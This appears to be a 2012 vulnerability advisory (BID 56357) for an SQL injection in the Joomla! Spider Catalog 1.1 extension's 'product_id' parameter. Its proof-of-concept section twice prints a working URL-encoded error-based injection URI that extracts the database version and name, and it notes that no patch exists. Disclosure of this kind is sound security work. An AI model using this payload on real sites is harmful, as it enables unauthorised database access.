Joomla! Spider Catalog Extension 'product_id' Parameter SQL Injection Vulnerability
BID:56357
Info
Joomla! Spider Catalog Extension 'product_id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 56357 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 31 2012 12:00AM |
| Updated: | Oct 31 2012 12:00AM |
| Credit: | Daniel Barragan |
| Vulnerable: |
Web-Dorado Spider Catalog 1.1 |
| Not Vulnerable: | |
Exploit / POC
Joomla! Spider Catalog Extension 'product_id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_spidercatalog&product_id=-1%27%20or%201%3d1%2b%28select%201%20and%20row%281%2c1%29%3E%28select%20count%28*%29%2cconcat%28CONCAT%28version%28%29,0x3D,database%28%29,0x3D,0x3D,0x3D%29%2c1111%2cfloor%28rand%28%29*2%29%29x%20from%20%28select%201%20union%20select%202%29a%20group%20by%20x%20limit%201%29%29%2b%27&view=showproduct&page_num=1&back=1
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_spidercatalog&product_id=-1%27%20or%201%3d1%2b%28select%201%20and%20row%281%2c1%29%3E%28select%20count%28*%29%2cconcat%28CONCAT%28version%28%29,0x3D,database%28%29,0x3D,0x3D,0x3D%29%2c1111%2cfloor%28rand%28%29*2%29%29x%20from%20%28select%201%20union%20select%202%29a%20group%20by%20x%20limit%201%29%29%2b%27&view=showproduct&page_num=1&back=1
Solution / Fix
Joomla! Spider Catalog Extension 'product_id' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
References
Joomla! Spider Catalog Extension 'product_id' Parameter SQL Injection Vulnerability
References:
References:
- Spider Catalog Product Page (Web-Dorado)